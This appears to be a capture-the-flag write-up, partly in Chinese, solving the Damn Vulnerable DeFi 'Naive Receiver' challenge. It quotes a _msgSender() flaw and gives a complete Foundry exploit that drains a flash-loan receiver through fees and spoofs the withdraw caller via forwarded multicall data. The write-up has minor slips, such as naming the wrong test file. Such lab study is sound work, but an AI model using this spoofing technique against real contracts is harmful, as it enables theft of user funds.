# Damn Vulnerable DeFi v4 - Naive Receiver
## Description
[Challenge](https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/)
There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract.
A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH.
All funds are at risk! Rescue all WETH from the user and the pool, and deposit it into the designated recovery account.
## Observation
```code=Solidity
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}
```
在 `NaiveReceiverPool.sol` 中的 `_msgSender()` 可以發現,如果 `trustedForwarder` 是 caller 且 msg.data>20,會將 msg 分割得到額外的 bytes,並解析成 address 回傳。
## Attack
可以試著透過 `trustedForwarder` forward 來 call `NaiveReceiver` 的 `withdraw()` 函數,並加入一些額外的 `msg.data` 使其解析為已存入 balance 的 address。
由於 `NaiveReceiverPool` 的 balance 為 10 ETH,我們可以嘗試做 10 次 flashloan,flashloan 的 receiver 每次得到 1 ETH,使 `deposit[feeReceriver]` 增加為 10 ETH,接著透過上述攻擊手法完成。
### Flow
1. Call **Trusted Forwarder** with call request
2. **Trusted Forwarder** call Multicall with call data of further calls
3. Call **Flashloan** 10 times
4. The 11th call is to **withdraw** some `msg.data` modifications
## Test
在 `Unstoppable.t.sol` 中的測試程式碼:
```code=Solidity
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory callDatas = new bytes[](11);
for(uint i=0; i<10; i++){
callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
}
callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(deployer)))
);
bytes memory callData;
callData = abi.encodeCall(pool.multicall, callDatas);
BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
30000000,
forwarder.nonces(player),
callData,
1 days
);
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
require(forwarder.execute(request, signature));
}
```